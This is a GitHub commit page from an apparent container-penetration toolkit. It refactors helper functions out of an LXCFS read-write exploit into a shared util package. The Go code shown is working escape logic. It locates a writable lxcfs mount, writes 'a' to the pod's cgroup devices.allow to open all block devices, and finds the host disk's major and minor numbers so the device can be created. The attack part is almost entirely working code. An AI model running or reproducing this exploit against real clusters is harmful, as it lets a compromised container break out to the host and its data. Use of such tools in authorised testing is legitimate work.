Skip to content

Commit

Permalink
update: extract function to other applicable exp
Browse files Browse the repository at this point in the history
  • Loading branch information
neargle committed Jan 29, 2021
1 parent 967352e commit 3b256b2
Show file tree
Hide file tree
Showing 2 changed files with 122 additions and 111 deletions.
118 changes: 7 additions & 111 deletions pkg/exploit/lxcfs_rw.go
Original file line number Diff line number Diff line change
@@ -1,81 +1,22 @@
package exploit

import (
"bufio"
"fmt"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/util"
"io/ioutil"
"log"
"os"
"path"
"strconv"
"strings"
"syscall"
)

const mountInfoPath string = "/proc/self/mountinfo"
const cgroupDevicePath string = "/sys/fs/cgroup/devices"
const hostDeviceFlag string = "/etc/hosts"
const devicesAllowName string = "devices.allow"
const devicesListName string = "devices.list"

type mountInfo struct {
Device string
Fstype string
Root string
MountPoint string
Opts []string
Marjor string
Minor string
}

func getMountInfo() ([]mountInfo, error) {
f, err := os.Open(mountInfoPath)
if err != nil {
return nil, err
}
defer f.Close()

var ret []string

r := bufio.NewReader(f)
for {
line, err := r.ReadString('\n')
if err != nil {
break
}
ret = append(ret, strings.Trim(line, "\n"))
}
// 2346 2345 0:261 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
mountInfos := make([]mountInfo, len(ret))

for _, r := range ret {
parts := strings.Split(r, " - ")
if len(parts) != 2 {
return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r)
}
mi := mountInfo{}
fields := strings.Fields(parts[0])
mi.Root = fields[3]
mi.MountPoint = fields[4]
mi.Opts = strings.Split(fields[5], ",")
blockId := strings.Split(fields[2], ":")
if len(blockId) != 2 {
return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r)
}
mi.Marjor = blockId[0]
mi.Minor = blockId[1]
fields = strings.Fields(parts[1])
mi.Device = fields[1]
mi.Fstype = fields[0]
mountInfos = append(mountInfos, mi)
}

return mountInfos, err
}

// find rw lxcfs
func findTargetMountPoint(mi *mountInfo) bool {
func findTargetMountPoint(mi *util.MountInfo) bool {
if mi.Device == "lxcfs" {
for _, opt := range mi.Opts {
if opt == "rw" {
Expand All @@ -88,44 +29,14 @@ func findTargetMountPoint(mi *mountInfo) bool {
}

// find pods cgroup devices path
func findDevicesAllowPath(mi *mountInfo) bool {
func findDevicesAllowPath(mi *util.MountInfo) bool {
if mi.MountPoint == cgroupDevicePath {
log.Printf("found pod devices.allow path: %s\n", mi.Root)
return true
}
return false
}

// find block device id
func findTargetDeviceID(mi *mountInfo) bool {
if mi.MountPoint == hostDeviceFlag {
log.Printf("found host blockDeviceId Marjor: %s Minor: %s\n", mi.Marjor, mi.Minor)
return true
}
return false
}

// set all block device accessible
func setBlockAccessible(path string) error {
f, err := os.OpenFile(path, os.O_WRONLY|os.O_SYNC, 0200)
if err != nil {
return fmt.Errorf("open devices.allow failed. %v\n", err)
}
defer f.Close()

l, err := f.Write([]byte("a"))
if err != nil {
return fmt.Errorf("write devices.allow failed. %v\n", err)
}

if l != 1 {
return fmt.Errorf("write \"a\" to devices.allow failed.\n")
}
log.Printf("set all block device accessible success.\n")

return nil
}

func getDevicesAllow(path string) string {
f, err := os.Open(path)
if err != nil {
Expand All @@ -143,21 +54,6 @@ func getDevicesAllow(path string) string {
return string(b)
}

func makeDev(major, minor string) int {
ret1, err := strconv.ParseInt(major, 10, 64)
if err != nil {
log.Printf("convert major number to int64 err: %v\n", err)
return 0
}
ret2, err := strconv.ParseInt(minor, 10, 64)
if err != nil {
log.Printf("convert minor number to int64 err: %v\n", err)
return 0
}

return int(((ret1 & 0xfff) << 8) | (ret2 & 0xff) | ((ret1 &^ 0xfff) << 32) | ((ret2 & 0xfffff00) << 12))
}

type lxcfsRWS struct {}

func (l lxcfsRWS) Desc() string {
Expand All @@ -170,7 +66,7 @@ func (l lxcfsRWS) Run() bool {
var devicesAllowPath, devicesListPath string
var deviceMarjor, deviceMinor string

mountInfos, err := getMountInfo()
mountInfos, err := util.GetMountInfo()
if err != nil {
log.Printf("%v", err)
return false
Expand All @@ -183,7 +79,7 @@ func (l lxcfsRWS) Run() bool {
if findDevicesAllowPath(&mi) {
podCgroupPath = mi.Root
}
if findTargetDeviceID(&mi) {
if util.FindTargetDeviceID(&mi) {
deviceMarjor = mi.Marjor
deviceMinor = mi.Minor
}
Expand All @@ -192,15 +88,15 @@ func (l lxcfsRWS) Run() bool {
devicesAllowPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesAllowName)
devicesListPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesListName)

err = setBlockAccessible(devicesAllowPath)
err = util.SetBlockAccessible(devicesAllowPath)
if err != nil {
log.Printf("%v", err)
return false
}
devicesAllow := getDevicesAllow(devicesListPath)
log.Printf("devices.allow content: %s", devicesAllow)
if strings.Contains(devicesAllow, "a *:* rwm") {
dev := makeDev(deviceMarjor, deviceMinor)
dev := util.MakeDev(deviceMarjor, deviceMinor)
if dev == 0 {
log.Printf("Blockdevice Marjor/Minor number invalid.")
return false
Expand Down
115 changes: 115 additions & 0 deletions pkg/util/cgroup.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
package util

import (
"bufio"
"fmt"
"log"
"os"
"strconv"
"strings"
)

const mountInfoPath string = "/proc/self/mountinfo"
const hostDeviceFlag string = "/etc/hosts"

type MountInfo struct {
Device string
Fstype string
Root string
MountPoint string
Opts []string
Marjor string
Minor string
}

// find block device id
func FindTargetDeviceID(mi *MountInfo) bool {
if mi.MountPoint == hostDeviceFlag {
log.Printf("found host blockDeviceId Marjor: %s Minor: %s\n", mi.Marjor, mi.Minor)
return true
}
return false
}

func GetMountInfo() ([]MountInfo, error) {
f, err := os.Open(mountInfoPath)
if err != nil {
return nil, err
}
defer f.Close()

var ret []string

r := bufio.NewReader(f)
for {
line, err := r.ReadString('\n')
if err != nil {
break
}
ret = append(ret, strings.Trim(line, "\n"))
}
// 2346 2345 0:261 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
mountInfos := make([]MountInfo, len(ret))

for _, r := range ret {
parts := strings.Split(r, " - ")
if len(parts) != 2 {
return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r)
}
mi := MountInfo{}
fields := strings.Fields(parts[0])
mi.Root = fields[3]
mi.MountPoint = fields[4]
mi.Opts = strings.Split(fields[5], ",")
blockId := strings.Split(fields[2], ":")
if len(blockId) != 2 {
return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r)
}
mi.Marjor = blockId[0]
mi.Minor = blockId[1]
fields = strings.Fields(parts[1])
mi.Device = fields[1]
mi.Fstype = fields[0]
mountInfos = append(mountInfos, mi)
}

return mountInfos, err
}

func MakeDev(major, minor string) int {
ret1, err := strconv.ParseInt(major, 10, 64)
if err != nil {
log.Printf("convert major number to int64 err: %v\n", err)
return 0
}
ret2, err := strconv.ParseInt(minor, 10, 64)
if err != nil {
log.Printf("convert minor number to int64 err: %v\n", err)
return 0
}

return int(((ret1 & 0xfff) << 8) | (ret2 & 0xff) | ((ret1 &^ 0xfff) << 32) | ((ret2 & 0xfffff00) << 12))
}

// set all block device accessible
func SetBlockAccessible(path string) error {
f, err := os.OpenFile(path, os.O_WRONLY|os.O_SYNC, 0200)
if err != nil {
return fmt.Errorf("open devices.allow failed. %v\n", err)
}
defer f.Close()

l, err := f.Write([]byte("a"))
if err != nil {
return fmt.Errorf("write devices.allow failed. %v\n", err)
}

if l != 1 {
return fmt.Errorf("write \"a\" to devices.allow failed.\n")
}
log.Printf("set all block device accessible success.\n")

return nil
}


0 comments on commit 3b256b2

Please sign in to comment.